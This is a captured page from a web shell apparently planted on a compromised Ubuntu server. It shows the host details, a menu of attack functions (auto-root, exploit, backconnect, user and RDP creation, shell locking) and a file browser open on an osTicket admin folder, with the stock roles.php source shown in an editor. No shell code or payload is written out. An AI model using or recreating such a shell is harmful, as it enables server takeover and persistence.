Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
scp /
[ HOME SHELL ]
Name
Size
Permission
Action
apps
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
admin.inc.php
2.77
KB
-rw-r--r--
admin.php
70
B
-rw-r--r--
ajax.php
15.5
KB
-rw-r--r--
apikeys.php
5.44
KB
-rw-r--r--
audits.php
939
B
-rw-r--r--
autocron.php
2.32
KB
-rw-r--r--
banlist.php
7.15
KB
-rw-r--r--
canned.php
8.51
KB
-rw-r--r--
categories.php
7.2
KB
-rw-r--r--
dashboard.php
1.75
KB
-rw-r--r--
departments.php
13.45
KB
-rw-r--r--
directory.php
797
B
-rw-r--r--
emails.php
3.77
KB
-rw-r--r--
emailsettings.php
1.32
KB
-rw-r--r--
emailtest.php
5.49
KB
-rw-r--r--
export.php
757
B
-rw-r--r--
faq.php
6.7
KB
-rw-r--r--
filters.php
6.83
KB
-rw-r--r--
forms.php
6.82
KB
-rw-r--r--
helptopics.php
11.05
KB
-rw-r--r--
index.php
548
B
-rw-r--r--
kb.php
1.05
KB
-rw-r--r--
lists.php
8.39
KB
-rw-r--r--
login.php
3.7
KB
-rw-r--r--
logo.php
1.32
KB
-rw-r--r--
logout.php
1.12
KB
-rw-r--r--
logs.php
2.25
KB
-rw-r--r--
orgs.php
4.86
KB
-rw-r--r--
pages.php
6.75
KB
-rw-r--r--
plugins.php
2.05
KB
-rw-r--r--
profile.php
2.06
KB
-rw-r--r--
pwreset.php
2.99
KB
-rw-r--r--
queues.php
3.65
KB
-rw-r--r--
roles.php
5.84
KB
-rw-r--r--
schedules.php
2.49
KB
-rw-r--r--
settings.php
2
KB
-rw-r--r--
slas.php
6.07
KB
-rw-r--r--
staff.inc.php
4.83
KB
-rw-r--r--
staff.php
8.79
KB
-rw-r--r--
system.php
772
B
-rw-r--r--
tasks.php
9.96
KB
-rw-r--r--
teams.php
5.93
KB
-rw-r--r--
templates.php
9.04
KB
-rw-r--r--
tickets.php
23.35
KB
-rw-r--r--
upgrade.php
3.32
KB
-rw-r--r--
users.php
9.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : roles.php
<?php /********************************************************************* roles.php Agent's roles Peter Rotich <peter@osticket.com> Copyright (c) 2014 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ require 'admin.inc.php'; include_once INCLUDE_DIR . 'class.user.php'; include_once INCLUDE_DIR . 'class.organization.php'; include_once INCLUDE_DIR . 'class.canned.php'; include_once INCLUDE_DIR . 'class.faq.php'; include_once INCLUDE_DIR . 'class.email.php'; include_once INCLUDE_DIR . 'class.report.php'; include_once INCLUDE_DIR . 'class.thread.php'; $errors = array(); $role=null; if ($_REQUEST['id'] && !($role = Role::lookup($_REQUEST['id']))) $errors['err'] = sprintf(__('%s: Unknown or invalid ID.'), __('Role')); if ($_POST) { switch (strtolower($_POST['do'])) { case 'update': if (!$role) { $errors['err'] = sprintf(__('%s: Unknown or invalid ID.'), __('Role')); } elseif ($role->update($_POST, $errors)) { $msg = __('Role updated successfully'); } elseif ($errors) { $errors['err'] = $errors['err'] ?: sprintf('%s %s', sprintf(__('Unable to update %s.'), __('this role')), __('Correct any errors below and try again.')); } else { $errors['err'] = sprintf('%s %s', sprintf(__('Unable to update %s.'), __('this role')), __('Internal error occurred')); } break; case 'add': $_role = Role::create(); if ($_role->update($_POST, $errors)) { unset($_REQUEST['a']); $msg = sprintf(__('Successfully added %s.'), __('role')); $type = array('type' => 'created'); Signal::send('object.created', $_role, $type); } elseif ($errors) { $errors['err'] = sprintf('%s %s', sprintf(__('Unable to add %s.'), __('this role')), __('Correct any errors below and try again.')); } else { $errors['err'] = sprintf(__('Unable to add %s.'), __('this role')) .' — '.__('Internal error occurred'); } break; case 'mass_process': if (!$_POST['ids'] || !is_array($_POST['ids']) || !count($_POST['ids'])) { $errors['err'] = sprintf(__('You must select at least %s.'), __('one role')); } else { $count = count($_POST['ids']); switch(strtolower($_POST['a'])) { case 'enable': $num = Role::objects()->filter(array( 'id__in' => $_POST['ids'] ))->update(array( 'flags'=> SqlExpression::bitor( new SqlField('flags'), Role::FLAG_ENABLED) )); if ($num) { if($num==$count) $msg = sprintf(__('Successfully enabled %s'), _N('selected role', 'selected roles', $count)); else $warn = sprintf(__('%1$d of %2$d %3$s enabled'), $num, $count, _N('selected role', 'selected roles', $count)); } else { $errors['err'] = sprintf(__('Unable to enable %s'), _N('selected role', 'selected roles', $count)); } break; case 'disable': $num = Role::objects()->filter(array( 'id__in' => $_POST['ids'] ))->update(array( 'flags'=> SqlExpression::bitand( new SqlField('flags'), (~Role::FLAG_ENABLED)) )); if ($num) { if($num==$count) $msg = sprintf(__('Successfully disabled %s'), _N('selected role', 'selected roles', $count)); else $warn = sprintf(__('%1$d of %2$d %3$s disabled'), $num, $count, _N('selected role', 'selected roles', $count)); } else { $errors['err'] = sprintf(__('Unable to disable %s'), _N('selected role', 'selected roles', $count)); } break; case 'delete': $i=0; foreach ($_POST['ids'] as $k=>$v) { if (($r=Role::lookup($v)) && $r->isDeleteable() && $r->delete()) $i++; } if ($i && $i==$count) $msg = sprintf(__('Successfully deleted %s.'), _N('selected role', 'selected roles', $count)); elseif ($i > 0) $warn = sprintf(__('%1$d of %2$d %3$s deleted'), $i, $count, _N('selected role', 'selected roles', $count)); elseif (!$errors['err']) $errors['err'] = sprintf(__('Unable to delete %s. They may be in use.'), _N('selected role', 'selected roles', $count)); break; default: $errors['err'] = __('Unknown action'); } } break; } } $page='roles.inc.php'; if($role || ($_REQUEST['a'] && !strcasecmp($_REQUEST['a'], 'add'))) { $page='role.inc.php'; $ost->addExtraHeader('<meta name="tip-namespace" content="agents.role" />', "$('#content').data('tipNamespace', 'agents.role');"); } $nav->setTabActive('staff'); require(STAFFINC_DIR.'header.inc.php'); require(STAFFINC_DIR.$page); include(STAFFINC_DIR.'footer.inc.php'); ?>
Close